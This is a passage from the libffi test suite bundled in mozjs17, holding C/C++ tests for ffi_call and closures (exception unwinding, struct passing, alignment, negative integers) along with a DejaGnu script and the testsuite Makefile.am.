info Purpose: Check if the unwind information is passed correctly. Limitations: none. PR: none. Originator: Andreas Tobler 20061213 */ /* { dg-do run } */ #include "ffitestcxx.h" static int checking(int a __UNUSED__, short b __UNUSED__, signed char c __UNUSED__) { throw 9; } int main (void) { ffi_cif cif; ffi_type *args[MAX_ARGS]; void *values[MAX_ARGS]; ffi_arg rint; signed int si; signed short ss; signed char sc; args[0] = &ffi_type_sint; values[0] = &si; args[1] = &ffi_type_sshort; values[1] = &ss; args[2] = &ffi_type_schar; values[2] = ≻ /* Initialize the cif */ CHECK(ffi_prep_cif(&cif, FFI_DEFAULT_ABI, 3, &ffi_type_sint, args) == FFI_OK); si = -6; ss = -12; sc = -1; { try { ffi_call(&cif, FFI_FN(checking), &rint, values); } catch (int exception_code) { CHECK(exception_code == 9); } printf("part one OK\n"); /* { dg-output "part one OK" } */ } exit(0); } mozjs17.0.0/js/src/ctypes/libffi/testsuite/libffi.special/unwindtest.cc0000664000175000017500000000733312106270662026171 0ustar sstanglsstangl/* Area: ffi_closure, unwind info Purpose: Check if the unwind information is passed correctly. Limitations: none. PR: none. Originator: Jeff Sturm */ /* { dg-do run } */ #include "ffitestcxx.h" #if defined HAVE_STDINT_H #include #endif #if defined HAVE_INTTYPES_H #include #endif void closure_test_fn(ffi_cif* cif __UNUSED__, void* resp __UNUSED__, void** args __UNUSED__, void* userdata __UNUSED__) { throw 9; } typedef void (*closure_test_type)(); void closure_test_fn1(ffi_cif* cif __UNUSED__, void* resp, void** args, void* userdata __UNUSED__) { *(ffi_arg*)resp = (int)*(float *)args[0] +(int)(*(float *)args[1]) + (int)(*(float *)args[2]) + (int)*(float *)args[3] + (int)(*(signed short *)args[4]) + (int)(*(float *)args[5]) + (int)*(float *)args[6] + (int)(*(int *)args[7]) + (int)(*(double*)args[8]) + (int)*(int *)args[9] + (int)(*(int *)args[10]) + (int)(*(float *)args[11]) + (int)*(int *)args[12] + (int)(*(int *)args[13]) + (int)(*(int *)args[14]) + *(int *)args[15] + (int)(intptr_t)userdata; printf("%d %d %d %d %d %d %d %d %d %d %d %d %d %d %d %d %d: %d\n", (int)*(float *)args[0], (int)(*(float *)args[1]), (int)(*(float *)args[2]), (int)*(float *)args[3], (int)(*(signed short *)args[4]), (int)(*(float *)args[5]), (int)*(float *)args[6], (int)(*(int *)args[7]), (int)(*(double *)args[8]), (int)*(int *)args[9], (int)(*(int *)args[10]), (int)(*(float *)args[11]), (int)*(int *)args[12], (int)(*(int *)args[13]), (int)(*(int *)args[14]), *(int *)args[15], (int)(intptr_t)userdata, (int)*(ffi_arg*)resp); throw (int)*(ffi_arg*)resp; } typedef int (*closure_test_type1)(float, float, float, float, signed short, float, float, int, double, int, int, float, int, int, int, int); int main (void) { ffi_cif cif; void *code; ffi_closure *pcl = (ffi_closure *)ffi_closure_alloc(sizeof(ffi_closure), &code); ffi_type * cl_arg_types[17]; { cl_arg_types[1] = NULL; CHECK(ffi_prep_cif(&cif, FFI_DEFAULT_ABI, 0, &ffi_type_void, cl_arg_types) == FFI_OK); CHECK(ffi_prep_closure_loc(pcl, &cif, closure_test_fn, NULL, code) == FFI_OK); try { (*((closure_test_type)(code)))(); } catch (int exception_code) { CHECK(exception_code == 9); } printf("part one OK\n"); /* { dg-output "part one OK" } */ } { cl_arg_types[0] = &ffi_type_float; cl_arg_types[1] = &ffi_type_float; cl_arg_types[2] = &ffi_type_float; cl_arg_types[3] = &ffi_type_float; cl_arg_types[4] = &ffi_type_sshort; cl_arg_types[5] = &ffi_type_float; cl_arg_types[6] = &ffi_type_float; cl_arg_types[7] = &ffi_type_uint; cl_arg_types[8] = &ffi_type_double; cl_arg_types[9] = &ffi_type_uint; cl_arg_types[10] = &ffi_type_uint; cl_arg_types[11] = &ffi_type_float; cl_arg_types[12] = &ffi_type_uint; cl_arg_types[13] = &ffi_type_uint; cl_arg_types[14] = &ffi_type_uint; cl_arg_types[15] = &ffi_type_uint; cl_arg_types[16] = NULL; /* Initialize the cif */ CHECK(ffi_prep_cif(&cif, FFI_DEFAULT_ABI, 16, &ffi_type_sint, cl_arg_types) == FFI_OK); CHECK(ffi_prep_closure_loc(pcl, &cif, closure_test_fn1, (void *) 3 /* userdata */, code) == FFI_OK); try { (*((closure_test_type1)code)) (1.1, 2.2, 3.3, 4.4, 127, 5.5, 6.6, 8, 9, 10, 11, 12.0, 13, 19, 21, 1); /* { dg-output "\n1 2 3 4 127 5 6 8 9 10 11 12 13 19 21 1 3: 255" } */ } catch (int exception_code) { CHECK(exception_code == 255); } printf("part two OK\n"); /* { dg-output "\npart two OK" } */ } exit(0); } mozjs17.0.0/js/src/ctypes/libffi/testsuite/libffi.special/special.exp0000664000175000017500000000232312106270662025606 0ustar sstanglsstangl# Copyright (C) 2003, 2006, 2009 Free Software Foundation, Inc. # This program is free software; you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation; either version 3 of the License, or # (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program; see the file COPYING3. If not see # . load_lib libffi-dg.exp dg-init libffi-init global srcdir subdir global cxx_options set cxx_options " -shared-libgcc -lstdc++" dg-runtest [lsort [glob -nocomplain $srcdir/$subdir/*.cc]] $cxx_options "-O0 -W -Wall" dg-runtest [lsort [glob -nocomplain $srcdir/$subdir/*.cc]] $cxx_options "-O2" dg-runtest [lsort [glob -nocomplain $srcdir/$subdir/*.cc]] $cxx_options "-O3" dg-runtest [lsort [glob -nocomplain $srcdir/$subdir/*.cc]] $cxx_options "-Os" dg-finish # Local Variables: # tcl-indent-level:4 # End: mozjs17.0.0/js/src/ctypes/libffi/testsuite/Makefile.am0000664000175000017500000000774612106270662022650 0ustar sstanglsstangl## Process this file with automake to produce Makefile.in. AUTOMAKE_OPTIONS = foreign dejagnu # Setup the testing framework, if you have one EXPECT = `if [ -f $(top_builddir)/../expect/expect ] ; then \ echo $(top_builddir)/../expect/expect ; \ else echo expect ; fi` RUNTEST = `if [ -f $(top_srcdir)/../dejagnu/runtest ] ; then \ echo $(top_srcdir)/../dejagnu/runtest ; \ else echo runtest; fi` AM_RUNTESTFLAGS = CLEANFILES = *.exe core* *.log *.sum EXTRA_DIST = libffi.special/special.exp \ libffi.special/unwindtest_ffi_call.cc libffi.special/unwindtest.cc \ libffi.special/ffitestcxx.h config/default.exp lib/target-libpath.exp \ lib/libffi-dg.exp lib/wrapper.exp libffi.call/float.c \ libffi.call/cls_multi_schar.c libffi.call/float3.c \ libffi.call/cls_3_1byte.c libffi.call/stret_large2.c \ libffi.call/cls_5_1_byte.c libffi.call/stret_medium.c \ libffi.call/promotion.c libffi.call/cls_dbls_struct.c \ libffi.call/nested_struct.c libffi.call/closure_fn1.c \ libffi.call/cls_4_1byte.c libffi.call/cls_float.c \ libffi.call/cls_2byte.c libffi.call/closure_fn4.c \ libffi.call/return_fl2.c libffi.call/nested_struct7.c \ libffi.call/cls_uint.c libffi.call/cls_align_sint64.c \ libffi.call/float1.c libffi.call/cls_19byte.c \ libffi.call/nested_struct1.c libffi.call/cls_4byte.c \ libffi.call/return_fl1.c libffi.call/cls_align_pointer.c \ libffi.call/nested_struct4.c libffi.call/nested_struct3.c \ libffi.call/struct7.c libffi.call/nested_struct9.c \ libffi.call/cls_sshort.c libffi.call/cls_ulonglong.c \ libffi.call/cls_pointer_stack.c libffi.call/cls_multi_uchar.c \ libffi.call/testclosure.c libffi.call/cls_3byte1.c \ libffi.call/struct6.c libffi.call/return_uc.c libffi.call/return_ll1.c \ libffi.call/cls_ushort.c libffi.call/stret_medium2.c \ libffi.call/cls_multi_ushortchar.c libffi.call/return_dbl2.c \ libffi.call/closure_loc_fn0.c libffi.call/return_sc.c \ libffi.call/nested_struct8.c libffi.call/cls_7_1_byte.c \ libffi.call/return_ll.c libffi.call/cls_pointer.c \ libffi.call/err_bad_abi.c libffi.call/return_dbl1.c \ libffi.call/call.exp libffi.call/ffitest.h libffi.call/strlen.c \ libffi.call/return_sl.c libffi.call/cls_1_1byte.c \ libffi.call/struct1.c libffi.call/cls_64byte.c libffi.call/return_ul.c \ libffi.call/cls_double.c libffi.call/many_win32.c \ libffi.call/cls_16byte.c libffi.call/cls_align_double.c \ libffi.call/cls_align_uint16.c libffi.call/cls_9byte1.c \ libffi.call/cls_multi_sshortchar.c libffi.call/cls_multi_ushort.c \ libffi.call/closure_stdcall.c libffi.call/return_fl.c \ libffi.call/strlen_win32.c libffi.call/return_ldl.c \ libffi.call/cls_align_float.c libffi.call/struct3.c \ libffi.call/cls_uchar.c libffi.call/cls_sint.c libffi.call/float2.c \ libffi.call/cls_align_longdouble_split.c \ libffi.call/cls_longdouble_va.c libffi.call/cls_multi_sshort.c \ libffi.call/stret_large.c libffi.call/cls_align_sint16.c \ libffi.call/nested_struct6.c libffi.call/cls_5byte.c \ libffi.call/return_dbl.c libffi.call/cls_20byte.c \ libffi.call/cls_8byte.c libffi.call/pyobjc-tc.c \ libffi.call/cls_24byte.c libffi.call/cls_align_longdouble_split2.c \ libffi.call/cls_6_1_byte.c libffi.call/cls_schar.c \ libffi.call/cls_18byte.c libffi.call/closure_fn3.c \ libffi.call/err_bad_typedef.c libffi.call/closure_fn2.c \ libffi.call/struct2.c libffi.call/cls_3byte2.c \ libffi.call/cls_align_longdouble.c libffi.call/cls_20byte1.c \ libffi.call/return_fl3.c libffi.call/cls_align_uint32.c \ libffi.call/problem1.c libffi.call/float4.c \ libffi.call/cls_align_uint64.c libffi.call/struct9.c \ libffi.call/closure_fn5.c libffi.call/cls_align_sint32.c \ libffi.call/closure_fn0.c libffi.call/closure_fn6.c \ libffi.call/struct4.c libffi.call/nested_struct2.c \ libffi.call/cls_6byte.c libffi.call/cls_7byte.c libffi.call/many.c \ libffi.call/struct8.c libffi.call/negint.c libffi.call/struct5.c \ libffi.call/cls_12byte.c libffi.call/cls_double_va.c \ libffi.call/cls_longdouble.c libffi.call/cls_9byte2.c \ libffi.call/nested_struct10.c libffi.call/nested_struct5.c \ libffi.call/huge_struct.c mozjs17.0.0/js/src/ctypes/libffi/testsuite/libffi.call/0000775000175000017500000000000012106270662022743 5ustar sstanglsstanglmozjs17.0.0/js/src/ctypes/libffi/testsuite/libffi.call/problem1.c0000664000175000017500000000442612106270662024636 0ustar sstanglsstangl/* Area: ffi_call, closure_call Purpose: Check structure passing with different structure size. Limitations: none. PR: none. Originator: 20030828 */ /* { dg-do run } */ #include "ffitest.h" typedef struct my_ffi_struct { double a; double b; double c; } my_ffi_struct; my_ffi_struct callee(struct my_ffi_struct a1, struct my_ffi_struct a2) { struct my_ffi_struct result; result.a = a1.a + a2.a; result.b = a1.b + a2.b; result.c = a1.c + a2.c; printf("%g %g %g %g %g %g: %g %g %g\n", a1.a, a1.b, a1.c, a2.a, a2.b, a2.c, result.a, result.b, result.c); return result; } void stub(ffi_cif* cif __UNUSED__, void* resp, void** args, void* userdata __UNUSED__) { struct my_ffi_struct a1; struct my_ffi_struct a2; a1 = *(struct my_ffi_struct*)(args[0]); a2 = *(struct my_ffi_struct*)(args[1]); *(my_ffi_struct *)resp = callee(a1, a2); } int main(void) { ffi_type* my_ffi_struct_fields[4]; ffi_type my_ffi_struct_type; ffi_cif cif; void *code; ffi_closure *pcl = ffi_closure_alloc(sizeof(ffi_closure), &code); void* args[4]; ffi_type* arg_types[3]; struct my_ffi_struct g = { 1.0, 2.0, 3.0 }; struct my_ffi_struct f = { 1.0, 2.0, 3.0 }; struct my_ffi_struct res; my_ffi_struct_type.size = 0; my_ffi_struct_type.alignment = 0; my_ffi_struct_type.type = FFI_TYPE_STRUCT; my_ffi_struct_type.elements = my_ffi_struct_fields; my_ffi_struct_fields[0] = &ffi_type_double; my_ffi_struct_fields[1] = &ffi_type_double; my_ffi_struct_fields[2] = &ffi_type_double; my_ffi_struct_fields[3] = NULL; arg_types[0] = &my_ffi_struct_type; arg_types[1] = &my_ffi_struct_type; arg_types[2] = NULL; CHECK(ffi_prep_cif(&cif, FFI_DEFAULT_ABI, 2, &my_ffi_struct_type, arg_types) == FFI_OK); args[0] = &g; args[1] = &f; args[2] = NULL; ffi_call(&cif, FFI_FN(callee), &res, args); /* { dg-output "1 2 3 1 2 3: 2 4 6" } */ printf("res: %g %g %g\n", res.a, res.b, res.c); /* { dg-output "\nres: 2 4 6" } */ CHECK(ffi_prep_closure_loc(pcl, &cif, stub, NULL, code) == FFI_OK); res = ((my_ffi_struct(*)(struct my_ffi_struct, struct my_ffi_struct))(code))(g, f); /* { dg-output "\n1 2 3 1 2 3: 2 4 6" } */ printf("res: %g %g %g\n", res.a, res.b, res.c); /* { dg-output "\nres: 2 4 6" } */ exit(0);; } mozjs17.0.0/js/src/ctypes/libffi/testsuite/libffi.call/cls_3byte2.c0000664000175000017500000000467312106270662025072 0ustar sstanglsstangl/* Area: ffi_call, closure_call Purpose: Check structure passing with different structure size. Especially with small structures which may fit in one register. Depending on the ABI. Check overlapping. Limitations: none. PR: none. Originator: 20030828 */ /* { dg-do run } */ #include "ffitest.h" typedef struct cls_struct_3byte_1 { unsigned char a; unsigned short b; } cls_struct_3byte_1; cls_struct_3byte_1 cls_struct_3byte_fn1(struct cls_struct_3byte_1 a1, struct cls_struct_3byte_1 a2) { struct cls_struct_3byte_1 result; result.a = a1.a + a2.a; result.b = a1.b + a2.b; printf("%d %d %d %d: %d %d\n", a1.a, a1.b, a2.a, a2.b, result.a, result.b); return result; } static void cls_struct_3byte_gn1(ffi_cif* cif __UNUSED__, void* resp, void** args, void* userdata __UNUSED__) { struct cls_struct_3byte_1 a1, a2; a1 = *(struct cls_struct_3byte_1*)(args[0]); a2 = *(struct cls_struct_3byte_1*)(args[1]); *(cls_struct_3byte_1*)resp = cls_struct_3byte_fn1(a1, a2); } int main (void) { ffi_cif cif; void *code; ffi_closure *pcl = ffi_closure_alloc(sizeof(ffi_closure), &code); void* args_dbl[5]; ffi_type* cls_struct_fields[4]; ffi_type cls_struct_type; ffi_type* dbl_arg_types[5]; cls_struct_type.size = 0; cls_struct_type.alignment = 0; cls_struct_type.type = FFI_TYPE_STRUCT; cls_struct_type.elements = cls_struct_fields; struct cls_struct_3byte_1 g_dbl = { 15, 125 }; struct cls_struct_3byte_1 f_dbl = { 9, 19 }; struct cls_struct_3byte_1 res_dbl; cls_struct_fields[0] = &ffi_type_uchar; cls_struct_fields[1] = &ffi_type_ushort; cls_struct_fields[2] = NULL; dbl_arg_types[0] = &cls_struct_type; dbl_arg_types[1] = &cls_struct_type; dbl_arg_types[2] = NULL; CHECK(ffi_prep_cif(&cif, FFI_DEFAULT_ABI, 2, &cls_struct_type, dbl_arg_types) == FFI_OK); args_dbl[0] = &g_dbl; args_dbl[1] = &f_dbl; args_dbl[2] = NULL; ffi_call(&cif, FFI_FN(cls_struct_3byte_fn1), &res_dbl, args_dbl); /* { dg-output "15 125 9 19: 24 144" } */ printf("res: %d %d\n", res_dbl.a, res_dbl.b); /* { dg-output "\nres: 24 144" } */ CHECK(ffi_prep_closure_loc(pcl, &cif, cls_struct_3byte_gn1, NULL, code) == FFI_OK); res_dbl = ((cls_struct_3byte_1(*)(cls_struct_3byte_1, cls_struct_3byte_1))(code))(g_dbl, f_dbl); /* { dg-output "\n15 125 9 19: 24 144" } */ printf("res: %d %d\n", res_dbl.a, res_dbl.b); /* { dg-output "\nres: 24 144" } */ exit(0); } mozjs17.0.0/js/src/ctypes/libffi/testsuite/libffi.call/negint.c0000664000175000017500000000167212106270662024401 0ustar sstanglsstangl/* Area: ffi_call Purpose: Check that negative integers are passed correctly. Limitations: none. PR: none. Originator: From the original ffitest.c */ /* { dg-do run } */ /* { dg-options -O2 } */ #include "ffitest.h" static int checking(int a, short b, signed char c) { return (a < 0 && b < 0 && c < 0); } int main (void) { ffi_cif cif; ffi_type *args[MAX_ARGS]; void *values[MAX_ARGS]; ffi_arg rint; signed int si; signed short ss; signed char sc; args[0] = &ffi_type_sint; values[0] = &si; args[1] = &ffi_type_sshort; values[1] = &ss; args[2] = &ffi_type_schar; values[2] = ≻ /* Initialize the cif */ CHECK(ffi_prep_cif(&cif, FFI_DEFAULT_ABI, 3, &ffi_type_sint, args) == FFI_OK); si = -6; ss = -12; sc = -1; checking (si, ss, sc); ffi_call(&cif, FFI_FN(checking), &rint, values); printf ("%d vs %d\n", (int)rint, checking (si, ss, sc)); CHECK(rint != 0); exit (0); } mozjs17.0.0/js/src/ctypes/libffi/testsuite/libffi.call/cls_align_uint32.c0000664000175000017500000000473012106270662026252 0ustar sstanglsstangl/* Area: ffi_call, closure_call Purpose: Check structure alignment of uint32. Limitations: none. PR: none. Originator: 20031203 */ /* { dg-do run } */ #include "ffitest.h" typedef struct cls_struct_align { unsigned char a; unsigned int b; unsigned char c; } cls_struct_align; cls_struct_align cls_struct_align_fn(struct cls_struct_align a1, struct cls_struct_align a2) { struct cls_struct_align result; result.a = a1.a + a2.a; result.b = a1.b + a2.b; result.c = a1.c + a2.c; printf("%d %d %d %d %d %d: %d %d %d\n", a1.a, a1.b, a1.c, a2.a, a2.b, a2.c, result.a, result.b, result.c); return result; } static void cls_struct_align_gn(ffi_cif* cif __UNUSED__, void* resp, void** args, void* userdata __UNUSED__) { struct cls_struct_align a1, a2; a1 = *(struct cls_struct_align*)(args[0]); a2 = *(struct cls_struct_align*)(args[1]); *(cls_struct_align*)resp = cls_struct_align_fn(a1, a2); } int main (void) { ffi_cif cif; void *code; ffi_closure *pcl = ffi_closure_alloc(sizeof(ffi_closure), &code); void* args_dbl[5]; ffi_type* cls_struct_fields[4]; ffi_type cls_struct_type; ffi_type* dbl_arg_types[5]; cls_struct_type.size = 0; cls_struct_type.alignment = 0; cls_struct_type.type = FFI_TYPE_STRUCT; cls_struct_type.elements = cls_struct_fields; struct cls_struct_align g_dbl = { 12, 4951, 127 }; struct cls_struct_align f_dbl = { 1, 9320, 13 }; struct cls_struct_align res_dbl; cls_struct_fields[0] = &ffi_type_uchar; cls_struct_fields[1] = &ffi_type_uint; cls_struct_fields[2] = &ffi_type_uchar; cls_struct_fields[3] = NULL; dbl_arg_types[0] = &cls_struct_type; dbl_arg_types[1] = &cls_struct_type; dbl_arg_types[2] = NULL; CHECK(ffi_prep_cif(&cif, FFI_DEFAULT_ABI, 2, &cls_struct_type, dbl_arg_types) == FFI_OK); args_dbl[0] = &g_dbl; args_dbl[1] = &f_dbl; args_dbl[2] = NULL; ffi_call(&cif, FFI_FN(cls_struct_align_fn), &res_dbl, args_dbl); /* { dg-output "12 4951 127 1 9320 13: 13 14271 140" } */ printf("res: %d %d %d\n", res_dbl.a, res_dbl.b, res_dbl.c); /* { dg-output "\nres: 13 14271 140" } */ CHECK(ffi_prep_closure_loc(pcl, &cif, cls_struct_align_gn, NULL, code) == FFI_OK); res_dbl = ((cls_struct_align(*)(cls_struct_align, cls_struct_align))(code))(g_dbl, f_dbl); /* { dg-output "\n12 4951 127 1 9320 13: 13 14271 140" } */ printf("res: %d %d %d\n", res_dbl.a, res_dbl.b, res_dbl.c); /* { dg-output "\nres: 13 14271 140" } */ exit(0); } mozjs17.0.0/js/src/ctypes/libffi/testsuite/libffi.call/cls_multi_schar.c0000664000175000017500000000315512106270662026266 0ustar sstanglsstangl/* Area: ffi_call, closure_call Purpose: Check passing of multiple signed char values. Limitations: none. PR: PR13221. Originator: 20031129 */ /* { dg-do run } */ #include "ffitest.h" signed char test_func_fn(signed char a1, signed char a2) { signed char result; result = a1 + a2; printf("%d %d: %d\n", a1, a2, result); return result; } static void test_func_gn(ffi_cif *cif __UNUSED__, void *rval, void **avals, void *data __UNUSED__) { signed char a1, a2; a1 = *(signed char *)avals[0]; a2 = *(signed char *)avals[1]; *(ffi_arg *)rval = test_func_fn(a1, a2); } typedef signed char (*test_type)(signed char, signed char); int main (void) { ffi_cif cif; void *code; ffi_closure *pcl = ffi_closure_alloc(sizeof(ffi_closure), &code); void * args_dbl[3]; ffi_type * cl_arg_types[3]; ffi_arg res_call; signed char a, b, res_closure; a = 2; b = 125; args_dbl[0] = &a; args_dbl[1] = &b; args_dbl[2] = NULL; cl_arg_types[0] = &ffi_type_schar; cl_arg_types[1] = &ffi_type_schar; cl_arg_types[2] = NULL; /* Initialize the cif */ CHECK(ffi_prep_cif(&cif, FFI_DEFAULT_ABI, 2, &ffi_type_schar, cl_arg_types) == FFI_OK); ffi_call(&cif, FFI_FN(test_func_fn), &res_call, args_dbl); /* { dg-output "2 125: 127" } */ printf("res: %d\n", (signed char)res_call); /* { dg-output "\nres: 127" } */ CHECK(ffi_prep_closure_loc(pcl, &cif, test_func_gn, NULL, code) == FFI_OK); res_closure = (*((test_type)code))(2, 125); /* { dg-output "\n2 125: 127" } */ printf("res: %d\n", res_closure); /* { dg-output "\nres: 127" } */ exit(0); } mozjs17.0.0/js/src/ctypes/libffi/testsuite/libffi.call/cls_3_1byte.c0000664000175000017500000000516312106270662025223 0ustar sstanglsstangl/* Area: ffi_call, closure_call Purpose: Check structure passing with different structure size. Especially with small structures which may fit in one register. Depending on the ABI. Limitations: none. PR: none. Originator: 20030902 */ /* { dg-do run } */ #include "ffitest.h" typedef struct cls_struct_3_1byte { unsigned char a; unsigned char b; unsigned char c; } cls_struct_3_1byte; cls_struct_3_1byte cls_struct_3_1byte_fn(struct cls_struct_3_1byte a1, struct cls_struct_3_1byte a2) { struct cls_struct_3_1byte result; result.a = a1.a + a2.a; result.b = a1.b + a2.b; result.c = a1.c + a2.c; printf("%d %d %d %d %d %d: %d %d %d\n", a1.a, a1.b, a1.c, a2.a, a2.b, a2.c, result.a, result.b, result.c); return result; } static void cls_struct_3_1byte_gn(ffi_cif* cif __UNUSED__, void* resp, void** args, void* userdata __UNUSED__) { struct cls_struct_3_1byte a1, a2; a1 = *(struct cls_struct_3_1byte*)(args[0]); a2 = *(struct cls_struct_3_1byte*)(args[1]); *(cls_struct_3_1byte*)resp = cls_struct_3_1byte_fn(a1, a2); } int main (void) { ffi_cif cif; void *code; ffi_closure *pcl = ffi_closure_alloc(sizeof(ffi_closure), &code); void* args_dbl[5]; ffi_type* cls_struct_fields[4]; ffi_type cls_struct_type; ffi_type* dbl_arg_types[5]; cls_struct_type.size = 0; cls_struct_type.alignment = 0; cls_struct_type.type = FFI_TYPE_STRUCT; cls_struct_type.elements = cls_struct_fields; struct cls_struct_3_1byte g_dbl = { 12, 13, 14 }; struct cls_struct_3_1byte f_dbl = { 178, 179, 180 }; struct cls_struct_3_1byte res_dbl; cls_struct_fields[0] = &ffi_type_uchar; cls_struct_fields[1] = &ffi_type_uchar; cls_struct_fields[2] = &ffi_type_uchar; cls_struct_fields[3] = NULL; dbl_arg_types[0] = &cls_struct_type; dbl_arg_types[1] = &cls_struct_type; dbl_arg_types[2] = NULL; CHECK(ffi_prep_cif(&cif, FFI_DEFAULT_ABI, 2, &cls_struct_type, dbl_arg_types) == FFI_OK); args_dbl[0] = &g_dbl; args_dbl[1] = &f_dbl; args_dbl[2] = NULL; ffi_call(&cif, FFI_FN(cls_struct_3_1byte_fn), &res_dbl, args_dbl); /* { dg-output "12 13 14 178 179 180: 190 192 194" } */ printf("res: %d %d %d\n", res_dbl.a, res_dbl.b, res_dbl.c); /* { dg-output "\nres: 190 192 194" } */ CHECK(ffi_prep_closure_loc(pcl, &cif, cls_struct_3_1byte_gn, NULL, code) == FFI_OK); res_dbl = ((cls_struct_3_1byte(*)(cls_struct_3_1byte, cls_struct_3_1byte))(code))(g_dbl, f_dbl); /* { dg-output "\n12 13 14 178 179 180: 190 192 194" } */ printf("res: %d %d %d\n", res_dbl.a, res_dbl.b, res_dbl.c); /* { dg-output "\nres: 190 192 194" } */ exit(0); } mozjs17.0.0/js/src/ctypes/libffi/testsuite/libffi.call/cls_1_1byte.c0000664000175000017500000000437712106270662025227 0ustar sstanglsstangl/* Area: ffi_call, closure_call Purpose: Check structure passing with different structure size. Especially with small structures which may fit in one register. Depending on the ABI. Limitations: none. PR: none. Originator: 20030902 */ /* { dg-do run } */ #include "ffitest.h" typedef struct cls_struct_1_1byte { unsigned char a; } cls_struct_1_1byte; cls_struct_1_1byte cls_struct_1_1byte_fn(struct cls_struct_1_1byte a1, struct cls_struct_1_1byte a2) { struct cls_struct_1_1byte result; result.a = a1.a + a2.a; printf("%d %d: %d\n", a1.a, a2.a, result.a); return result; } static void cls_struct_1_1byte_gn(ffi_cif* cif __UNUSED__, void* resp, void** args, void* userdata __UNUSED__) { struct cls_struct_1_1byte a1, a2; a1 = *(struct cls_struct_1_1byte*)(args[0]); a2 = *(struct cls_struct_1_1byte*)(args[1]); *(cls_struct_1_1byte*)resp = cls_struct_1_1byte_fn(a1, a2); } int main (void) { ffi_cif cif; void *code; ffi_closure *pcl = ffi_closure_alloc(sizeof(ffi_closure), &code); void* args_dbl[5]; ffi_type* cls_struct_fields[2]; ffi_type cls_struct_type; ffi_type* dbl_arg_types[5]; cls_struct_type.size = 0; cls_struct_type.alignment = 0; cls_struct_type.type = FFI_TYPE_STRUCT; cls_struct_type.elements = cls_struct_fields; struct cls_struct_1_1byte g_dbl = { 12 }; struct cls_struct_1_1byte f_dbl = { 178 }; struct cls_struct_1_1byte res_dbl; cls_struct_fields[0] = &ffi_type_uchar; cls_struct_fields[1] = NULL; dbl_arg_types[0] = &cls_struct_type; dbl_arg_types[1] = &cls_struct_type; dbl_arg_types[2] = NULL; CHECK(ffi_prep_cif(&cif, FFI_DEFAULT_ABI, 2, &cls_struct_type, dbl_arg_types) == FFI_OK); args_dbl[0] = &g_dbl; args_dbl[1] = &f_dbl; args_dbl[2] = NULL; ffi_call(&cif, FFI_FN(cls_struct_1_1byte_fn), &res_dbl, args_dbl); /* { dg-output "12 178: 190" } */ printf("res: %d\n", res_dbl.a); /* { dg-output "\nres: 190" } */ CHECK(ffi_prep_closure_loc(pcl, &cif, cls_struct_1_1byte_gn, NULL, code) == FFI_OK); res_dbl = ((cls_struct_1_1byte(*)(cls_struct_1_1byte, cls_struct_1_1byte))(code))(g_dbl, f_dbl); /* { dg-output "\n12 178: 190" } */ printf("res: %d\n", res_dbl.a); /* { dg-output "\nres: 190" } */ exit(0); } mozjs17.0.0/js/src/ctypes/libffi/testsuite/libffi.call/struct7.c0000664000175000017500000000310512106270662024521 0ustar sstanglsstangl/* Area: ffi_call Purpose: Check structures. Limitations: none. PR: none. Originator: From the original ffitest.c */ /* { dg-do run } */ #include "ffitest.h" typedef struct { float f1; float f2; double d; } test_structure_7; static test_structure_7 struct7 (test_structure_7 ts) { ts.f1 += 1; ts.f2 += 1; ts.d += 1; return ts; } int main (void) { ffi_cif cif; ffi_type *args[MAX_ARGS]; void *values[MAX_ARGS]; ffi_type ts7_type; ffi_type *ts7_type_elements[4]; ts7_type.size = 0; ts7_type.alignment = 0; ts7_type.type = FFI_TYPE_STRUCT; ts7_type.elements = ts7_type_elements; ts7_type_elements[0] = &ffi_type_float; ts7_type_elements[1] = &ffi_type_float; ts7_type_elements[2] = &ffi_type_double; ts7_type_elements[3] = NULL; test_structure_7 ts7_arg; /* This is a hack to get a properly aligned result buffer */ test_structure_7 *ts7_result = (test_structure_7 *) malloc (sizeof(test_structure_7)); args[0] = &ts7_type; values[0] = &ts7_arg; /* Initialize the cif */ CHECK(ffi_prep_cif(&cif, FFI_DEFAULT_ABI, 1, &ts7_type, args) == FFI_OK); ts7_arg.f1 = 5.55f; ts7_arg.f2 = 55.5f; ts7_arg.d = 6.66; printf ("%g\n", ts7_arg.f1); printf ("%g\n", ts7_arg.f2); printf ("%g\n", ts7_arg.d); ffi_call(&cif, FFI_FN(struct7), ts7_result, values); printf ("%g\n", ts7_result->f1); printf ("%g\n", ts7_result->f2); printf ("%g\n", ts7_result->d); CHECK(ts7_result->f1 == 5.55f + 1); CHECK(ts7_result->f2 == 55.5f + 1); CHECK(ts7_result->d == 6.66 + 1); free (ts7_result); exit(0); } mozjs17.0.0/js/src/ctypes/libffi/testsuite/libffi.call/cls_9byte1.c0000664000175000017500000000461712106270662025075 0ustar sstanglsstangl/* Area: ffi_call, closure_call Purpose: Check structure passing with different structure size. Depending on the ABI. Darwin/AIX do double-word alignment of the struct if the first element is a double. Check that it does not here. Limitations: none. PR: none. Originator: 20030914 */ /* { dg-do run } */ #include "ffitest.h" typedef struct cls_struct_9byte { int a; double b; } cls_struct_9byte; cls_struct_9byte cls_struct_9byte_fn(struct cls_struct_9byte b1, struct cls_struct_9byte b2) { struct cls_struct_9byte result; result.a = b1.a + b2.a; result.b = b1.b + b2.b; printf("%d %g %d %g: %d %g\n", b1.a, b1.b, b2.a, b2.b, result.a, result.b); return result; } static void cls_struct_9byte_gn(ffi_cif* cif __UNUSED__, void* resp, void** args, void* userdata __UNUSED__) { struct cls_struct_9byte b1, b2; b1 = *(struct cls_struct_9byte*)(args[0]); b2 = *(struct cls_struct_9byte*)(args[1]); *(cls_struct_9byte*)resp = cls_struct_9byte_fn(b1, b2); } int main (void) { ffi_cif cif; void *code; ffi_closure *pcl = ffi_closure_alloc(sizeof(ffi_closure), &code); void* args_dbl[3]; ffi_type* cls_struct_fields[3]; ffi_type cls_struct_type; ffi_type* dbl_arg_types[3]; cls_struct_type.size = 0; cls_struct_type.alignment = 0; cls_struct_type.type = FFI_TYPE_STRUCT; cls_struct_type.elements = cls_struct_fields; struct cls_struct_9byte h_dbl = { 7, 8.0}; struct cls_struct_9byte j_dbl = { 1, 9.0}; struct cls_struct_9byte res_dbl; cls_struct_fields[0] = &ffi_type_sint; cls_struct_fields[1] = &ffi_type_double; cls_struct_fields[2] = NULL; dbl_arg_types[0] = &cls_struct_type; dbl_arg_types[1] = 